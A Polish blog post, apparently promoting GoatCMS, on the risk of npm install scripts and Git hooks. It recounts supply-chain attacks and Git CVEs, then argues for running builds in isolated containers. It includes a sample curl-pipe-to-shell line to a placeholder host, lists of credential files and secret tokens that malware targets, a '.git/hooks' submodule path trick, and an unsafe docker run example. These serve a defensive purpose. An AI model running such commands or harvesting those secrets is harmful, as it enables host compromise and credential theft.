npm install nie powinien oznaczać: „uruchom obcy kod na moim komputerze”

Współczesny projekt JavaScript potrafi mieć setki lub tysiące zależności.

Wykonujemy:

pnpm install

i intuicyjnie traktujemy tę operację jak pobranie bibliotek.

Przez lata oznaczała ona jednak coś więcej:

Pobierz kod napisany przez kogoś innego i pozwól mu uruchomić program na moim komputerze.

Pakiety npm mogły definiować między innymi:

preinstall
install
postinstall

a package manager wykonywał je automatycznie podczas instalacji.

Jeżeli taki skrypt działa bezpośrednio na hoście, otrzymuje uprawnienia użytkownika uruchamiającego npm lub pnpm. Może czytać jego pliki, zmienne środowiskowe, uruchamiać procesy i komunikować się z siecią.

To nie jest wyłącznie problem npm.

To problem granicy zaufania pomiędzy pobranym kodem a hostem, na którym ten kod zostaje wykonany.


Kod z zależności jest programem

Niewinnie wyglądający fragment:

{
  "scripts": {
    "postinstall": "node setup.js"
  }
}

jest w praktyce zgodą na wykonanie programu.

Program ten może próbować odczytać:

~/.npmrc
~/.ssh/
~/.aws/
~/.config/gcloud/
~/.kube/config
.git-credentials

albo zmienne środowiskowe:

NPM_TOKEN
GITHUB_TOKEN
AWS_ACCESS_KEY_ID
DATABASE_URL
DEPLOY_TOKEN
CI_JOB_TOKEN

Może również uruchamiać kolejne procesy:

import { exec } from "node:child_process";

exec("curl https://example.invalid/payload | sh");

Na komputerze developera jest to niebezpieczne.

Na CI problem może być jeszcze większy. Runner często posiada tokeny pozwalające publikować paczki, pobierać prywatne repozytoria, wdrażać aplikację albo komunikować się z infrastrukturą chmurową.

Historia npm pokazuje, że nie jest to zagrożenie teoretyczne.


Kiedy npm install prowadził do kompromitacji hosta

ESLint — 2018: kradzież tokenów npm

W lipcu 2018 roku przejęto konto jednego z maintainerów ESLint i opublikowano złośliwe wersje:

eslint-scope@3.7.2
eslint-config-eslint@5.0.2

Pakiety zawierały złośliwy postinstall.

Podczas instalacji pobierały kod z Pastebin, wykonywały go i przesyłały atakującemu zawartość:

~/.npmrc

Plik ten często zawierał token pozwalający publikować pakiety do npm.

Atak nie kończył się więc na jednym komputerze.

Potencjalny łańcuch wyglądał następująco:

flowchart LR
    A[Złośliwy pakiet] --> B[postinstall]
    B --> C[Kradzież tokena npm]
    C --> D[Przejęcie konta maintainera]
    D --> E[Publikacja kolejnych pakietów]

npm unieważnił później tokeny wydane przed momentem incydentu. Nie opublikowano dowodów na masowe wykorzystanie skradzionych tokenów, ale mechanizm pokazał, że laptop developera może być wejściem do całego software supply chain.


ua-parser-js — 2021: malware instalowany na komputerach developerów

W październiku 2021 roku napastnik przejął konto autora bardzo popularnego pakietu ua-parser-js i opublikował złośliwe wersje:

0.7.29
0.8.0
1.0.0

Podczas instalacji uruchamiany był preinstall.js, który rozpoznawał system operacyjny i uruchamiał odpowiedni payload.

Na zainfekowanych urządzeniach instalowano między innymi cryptominera, a na Windows również malware służący do kradzieży danych.

GitHub potraktował incydent na tyle poważnie, że zalecił uznanie każdego komputera, na którym zainstalowano lub uruchomiono złośliwą wersję, za w pełni skompromitowany.

Zalecano rotację wszystkich kluczy i sekretów — z innego, czystego urządzenia. Samo usunięcie pakietu nie dawało gwarancji usunięcia malware.

To ważny przykład, ponieważ pokazuje różnicę między:

złośliwy JavaScript działający w aplikacji

a:

złośliwy kod wykonany podczas instalacji
→ instalacja programu na hoście
→ kompromitacja systemu operacyjnego

coa i rc — 2021: password stealer i keylogger

Kilka tygodni później przejęto popularne pakiety coa oraz rc.

Złośliwy preinstall uruchamiał łańcuch:

preinstall
    ↓
compile.js
    ↓
compile.bat
    ↓
pobranie DLL
    ↓
regsvr32.exe
    ↓
malware na Windows

Payload potrafił:

  • kraść hasła z przeglądarek,
  • kraść dane z klientów FTP,
  • kraść dane z klientów VNC i poczty,
  • wykonywać screenshoty,
  • rejestrować naciśnięcia klawiszy.

CERT-EU zalecił traktowanie komputerów, na których zainstalowano złośliwe wersje, jako skompromitowanych i rotację haseł oraz innych sekretów.

Pakiety były wówczas pobierane miliony razy tygodniowo. Atak wykryto stosunkowo szybko między innymi dlatego, że złośliwe wersje powodowały błędy części pipeline'ów. To ograniczyło realny zasięg, ale bardziej dyskretny payload wykorzystujący ten sam mechanizm mógł spowodować znacznie większe szkody.


Shai-Hulud: kiedy supply-chain staje się robakiem

W 2025 roku problem wszedł na zupełnie inny poziom.

Shai-Hulud był samoreplikującym się malware atakującym ekosystem npm.

Pierwsza duża fala wstrzykiwała do przejętych pakietów złośliwe skrypty postinstall.

Malware szukało między innymi:

npm credentials
GitHub Personal Access Tokens
AWS credentials
Azure credentials
GCP credentials
CI/CD secrets

Zdobyte tokeny npm pozwalały automatycznie przejmować kolejne pakiety należące do tego samego maintainera.

Powstał mechanizm robaka:

flowchart TD
    A[Przejęty pakiet npm] --> B[npm / pnpm install]
    B --> C[Lifecycle script]
    C --> D[Kradzież credentials]
    D --> E[Token npm / GitHub]
    E --> F[Publikacja złośliwej wersji kolejnego pakietu]
    F --> G[Kolejni developerzy i CI]
    G --> B

GitHub usunął w reakcji na pierwszą kampanię ponad 500 skompromitowanych pakietów. CISA potwierdziła, że malware kradło między innymi tokeny GitHub oraz klucze AWS, GCP i Azure.


Shai-Hulud 2.0: preinstall, persistence i niszczenie danych

Druga duża fala z listopada 2025 roku była jeszcze bardziej agresywna.

Atak przeniósł wykonanie payloadu z postinstall do preinstall.

To istotna różnica.

Kod mógł zostać wykonany zanim instalacja pakietu dobiegła końca.

Microsoft opisał złośliwy preinstall, który uruchamiał setup_bun.js, przygotowywał runtime Bun, a następnie wykonywał właściwy credential stealer.

Malware:

  • kradło credentials,
  • publikowało je do repozytoriów GitHub,
  • używało tokenów npm do infekowania kolejnych pakietów,
  • próbowało rejestrować zainfekowane urządzenia jako GitHub self-hosted runners,
  • posiadało mechanizm umożliwiający późniejsze wykonywanie kodu,
  • a w pewnych warunkach próbowało niszczyć zawartość katalogu domowego użytkownika.

Unit 42 opisał ponad 25 000 utworzonych złośliwych repozytoriów GitHub związanych z kampanią.

Datadog potwierdził 796 przejętych pakietów npm, które łącznie miały ponad 20 milionów tygodniowych pobrań. Na podstawie publicznie dostępnych danych oszacowano również eksfiltrację danych ponad 500 użytkowników GitHub należących do ponad 150 organizacji.

W 2026 roku pojawiały się kolejne warianty tego mechanizmu. Microsoft opisał w maju kampanię obejmującą ponad 170 pakietów npm i dwa pakiety PyPI.


Wspólny problem

Wszystkie te ataki różniły się szczegółami.

Łączyła je jednak jedna fundamentalna właściwość:

kod kontrolowany przez kogoś innego
            ↓
automatyczne wykonanie
            ↓
uprawnienia użytkownika hosta
            ↓
dostęp do jego zasobów

Jeżeli dependency zostanie przejęte, sam package manager staje się mechanizmem dostarczenia malware.

Dlatego problemu nie należy sprowadzać wyłącznie do postinstall.

Plugin Vite, Webpack loader, generator kodu, skrypt testowy czy:

pnpm build

również wykonują kod.

Właściwe pytanie brzmi więc:

Gdzie wykonujemy cudzy kod i do czego pozwalamy mu się dostać?


Git: clone nie powinien oznaczać execute

Interesującego kontrastu dostarcza Git.

Git również posiada hooki:

pre-commit
post-checkout
pre-push
post-merge

Hook jest wykonywalnym programem, ale domyślnie znajduje się w lokalnym:

.git/hooks/

Git celowo nie traktuje aktywnych hooków jako wersjonowanej, automatycznie dystrybuowanej części repozytorium.

Hook należy do lokalnej konfiguracji repozytorium.

Gdyby zdalne repozytorium mogło po prostu dostarczyć:

.git/hooks/post-checkout

a:

git clone https://example.com/untrusted/project.git

automatycznie instalował i uruchamiał ten plik, samo sklonowanie niezaufanego projektu oznaczałoby potencjalne wykonanie arbitralnego kodu.

Oficjalna dokumentacja Git mówi dziś wprost, że niektóre opcje konfiguracji oraz hooki mogą wykonywać arbitralne polecenia, ale ponieważ config i hooki nie są kopiowane przez git clone, klonowanie niezaufanej zawartości i jej przeglądanie jest co do zasady bezpieczne.

Możemy tę własność sprowadzić do prostej zasady:

clone != execute

Czy Linus przewidział ten problem?

Stwierdzenie, że Linus Torvalds przewidział dzisiejsze ataki supply-chain, byłoby zbyt daleko idące.

Ale wczesne dyskusje o architekturze Gita pokazują dokładnie ten sposób rozdzielania danych repozytorium od lokalnego stanu wykonawczego.

Szczególnie ciekawa jest dyskusja z 2006 roku zatytułowana „Security problem”.

Linus wyjaśnia tam, że operacja pobierania:

“always pulls just the database, never any checked-out state”

a o working tree i indexie pisze, że:

“neither of them have any life outside of that particular repository.”

To istotna różnica architektoniczna.

Git transportuje historię i obiekty projektu.

Lokalny stan repozytorium — między innymi konfiguracja i aktywne hooki — nie powinien automatycznie przychodzić razem z niezaufanym kodem.


CVE-2024-32002: co się dzieje, kiedy ta granica zostanie przełamana

W 2024 roku odkryto CVE-2024-32002.

Podatność dotyczyła rekurencyjnego klonowania repozytoriów z submodułami w określonych warunkach, między innymi na systemach plików niewrażliwych na wielkość liter i obsługujących symlinki.

Specjalnie przygotowane repozytorium mogło oszukać Git tak, aby podczas:

git clone --recurse-submodules ...

zapis nie trafił do normalnego worktree submodułu, ale do:

.git/hooks/

Atakujący mógł w ten sposób umieścić tam wykonywalny hook.

Co najważniejsze, hook mógł zostać uruchomiony jeszcze podczas operacji clone, zanim użytkownik miał możliwość obejrzenia pobranego kodu.

Skutek:

flowchart TD
    A[Złośliwe repozytorium] --> B[git clone --recurse-submodules]
    B --> C[Błąd obsługi ścieżki / symlinka]
    C --> D[Zapis do .git/hooks]
    D --> E[Uruchomienie hooka]
    E --> F[Arbitrary code execution na hoście]

Oficjalny advisory Git klasyfikował podatność jako krytyczną.

Opis problemu jest szczególnie interesujący właśnie w kontekście naszego argumentu: vulnerability było groźne dlatego, że pozwalało ominąć normalną zasadę, według której zdalne repozytorium nie może instalować swoich hooków w lokalnym .git/hooks.


Dulwich CVE-2026-52726: ten sam problem dwa lata później

Jeszcze bardziej wymowny przykład pojawił się w 2026 roku w Dulwich — implementacji protokołów i formatu Git napisanej w Pythonie.

CVE-2026-52726 dotyczyło:

dulwich.porcelain.submodule_update(...)

oraz:

dulwich.porcelain.clone(..., recurse_submodules=True)

Dulwich niepoprawnie walidował ścieżkę submodułu pochodzącą z niezaufanego repozytorium.

Atakujący mógł przygotować .gitmodules, w którym ścieżką submodułu było na przykład:

.git/hooks

Dulwich zapisywał wtedy zawartość kontrolowaną przez napastnika bezpośrednio do katalogu hooków, zachowując wykonywalne bity plików.

Następne polecenie Git lub Dulwich wywołujące odpowiedni hook mogło doprowadzić do arbitralnego wykonania kodu.

flowchart LR
    A[Malicious repository] --> B[Dulwich clone]
    B --> C["submodule path = .git/hooks"]
    C --> D[Executable hook zapisany lokalnie]
    D --> E[Następna operacja Git]
    E --> F[RCE]

Podatność została naprawiona w Dulwich 1.2.5.

Co ciekawe, autorzy projektu sami opisali ją jako odpowiednik problemów znanych z Git CVE-2024-32002 / CVE-2024-32004.


Te CVE pokazują coś ważniejszego niż błąd w Git

Można spojrzeć na te przypadki jak na dwie kolejne podatności.

Ciekawsza jest jednak ich wspólna cecha.

Atakujący nie próbował stworzyć nowego mechanizmu wykonywania kodu.

Próbował dostać się do miejsca, które już posiada prawo wykonywania kodu:

.git/hooks

Normalnie granica wygląda tak:

REMOTE REPOSITORY
      │
      │ clone
      ▼
tracked content

---------------------- granica zaufania

.git/config
.git/hooks/
lokalny stan repozytorium

CVE-2024-32002 i CVE-2026-52726 umożliwiały tę granicę przekroczyć:

REMOTE REPOSITORY
      │
      │ crafted submodule
      ▼
.git/hooks/
      │
      ▼
CODE EXECUTION

To bardzo dobrze pokazuje, dlaczego separacja data from code execution jest właściwością bezpieczeństwa.


A co z kodem, który naprawdę trzeba wykonać?

Nie możemy wyłączyć wykonywania wszystkiego.

Build aplikacji wymaga przecież:

pnpm install
pnpm build

Podobnie działają:

composer install
pip install
cargo build
make

Co więcej, samo wyłączenie postinstall nie rozwiązuje problemu.

Plugin bundlera, generator kodu, test runner czy zwykły:

build.js

również jest programem.

Dlatego właściwe pytanie nie brzmi:

Czy projekt używa postinstall?

Tylko:

Gdzie ten kod zostanie wykonany i do czego będzie miał dostęp?


Izolowane wykonywanie skryptów w GoatCMS

Jednym z założeń GoatCMS jest możliwość wykonywania takich zadań w izolowanym kontenerze zamiast bezpośrednio na hoście.

Przykładowy build Node może wyglądać tak:

run:docker --image=node:22 --interactive=false --body=<<WEBEOF
    set -e

    mkdir -p /tmp/bin
    corepack enable --install-directory /tmp/bin
    export PATH="/tmp/bin:$PATH"

    pnpm install --frozen-lockfile
    pnpm build
WEBEOF

Polecenia są takie same.

Zmienia się granica bezpieczeństwa.

flowchart LR
    subgraph HOST["Host"]
        A[GoatCMS]
        S["HOME / SSH / AWS / system"]
    end

    subgraph CONTAINER["Izolowane środowisko"]
        B[pnpm install]
        C[pnpm build]
        D[Dependencies]
    end

    A --> B
    B --> C
    D --> B
    D -. brak bezpośredniego dostępu .-> S

W modelu bez izolacji:

dependency
    ↓
proces hosta
    ↓
HOME / SSH / cloud credentials / inne zasoby

W modelu izolowanym:

dependency
    ↓
jednorazowy kontener
    ↓
tylko jawnie udostępnione zasoby

To nie sprawia, że złośliwy skrypt staje się bezpieczny.

Ogranicza to, co może zrobić po uruchomieniu.


Kontener nie jest magicznym sandboxem

Sama obecność Dockera nie gwarantuje bezpieczeństwa.

Możemy bardzo łatwo osłabić izolację:

docker run \
    --privileged \
    -v /:/host \
    -v /var/run/docker.sock:/var/run/docker.sock \
    ...

Jeżeli zamontujemy do kontenera:

~/.ssh
~/.aws
~/.kube

kod wewnątrz będzie mógł próbować je odczytać.

Jeżeli przekażemy:

GITHUB_TOKEN
NPM_TOKEN
AWS_SECRET_ACCESS_KEY

złośliwy dependency również może je znaleźć.

Szczególnie niebezpieczne jest:

/var/run/docker.sock

ponieważ możliwość sterowania Docker daemonem może oznaczać bardzo szeroki dostęp do hosta.

Dlatego model powinien wyglądać tak:

izolacja
+ minimalne mounty
+ minimalne sekrety
+ minimalne uprawnienia
+ ograniczona sieć
= mniejszy blast radius

Każdy cudzy skrypt jest potencjalnie niebezpieczny

Nie dlatego, że jego autor jest złośliwy.

Dlatego, że:

  • konto maintainera może zostać przejęte,
  • token publikacyjny może wyciec,
  • dependency może otrzymać złośliwą wersję,
  • transitive dependency może zostać przejęte,
  • build tool może zawierać podatność,
  • źródło obrazu lub narzędzia może zostać skompromitowane.

Nie musimy więc próbować udowodnić:

Ten skrypt jest bezpieczny.

Znacznie bardziej użyteczne pytanie brzmi:

Co ten skrypt będzie mógł zrobić, jeśli okaże się niebezpieczny?


Defense in depth

Konteneryzacja powinna być jedną z warstw, a nie jedynym zabezpieczeniem.

flowchart TD
    A[Lockfile] --> B[Kontrola wersji dependencies]
    B --> C[Kontrola install scripts]
    C --> D[Izolowane wykonanie]
    D --> E[Minimalne mounty]
    E --> F[Minimalne sekrety]
    F --> G[Ograniczona sieć]
    G --> H[Jednorazowe środowisko]

W praktyce warto:

  1. używać lockfile i w CI preferować:
   pnpm install --frozen-lockfile
  1. nie udostępniać kontenerowi całego $HOME;
  2. nie montować docker.sock, jeżeli nie jest konieczny;
  3. unikać --privileged;
  4. przekazywać wyłącznie wymagane zmienne środowiskowe;
  5. ograniczać outbound network tam, gdzie build go nie potrzebuje;
  6. używać jednorazowych środowisk;
  7. w bardziej restrykcyjnych pipeline'ach przypinać obrazy również do digestu:
   node:22@sha256:...

Żadna pojedyncza warstwa nie rozwiązuje całego problemu.

Ich połączenie sprawia jednak, że jedna przejęta paczka nie musi oznaczać przejęcia hosta.


Nie ufaj skryptowi. Ogranicz jego możliwości.

Najważniejsza lekcja z ataków na npm nie brzmi:

Nie używaj npm.

Podobnie lekcja z CVE-2024-32002 nie brzmi:

Nie używaj Git.

Problem pojawia się wtedy, gdy niezaufane dane przekraczają granicę i stają się wykonywalnym kodem posiadającym dostęp do hosta.

Git ma bardzo rozsądny model:

clone != execute

CVE-2024-32002 i CVE-2026-52726 były tak poważne właśnie dlatego, że pozwalały tę zasadę obejść.

W systemach buildowych możemy zastosować podobny sposób myślenia:

download != trust
install != host access
build != unlimited permissions

Kod, który dziś jest bezpieczny, jutro może zostać przejęty.

Dlatego system powinien być zaprojektowany tak, aby konsekwencje takiego zdarzenia były możliwie małe.

To jest idea stojąca za konteneryzowanymi skryptami w GoatCMS.

Nie zakładamy, że każdy dependency, plugin i build script jest godny zaufania.

Zakładamy, że któryś z nich kiedyś może nie być — i nie oddajemy mu automatycznie kluczy do całego hosta.


Źródła

Git

npm / supply chain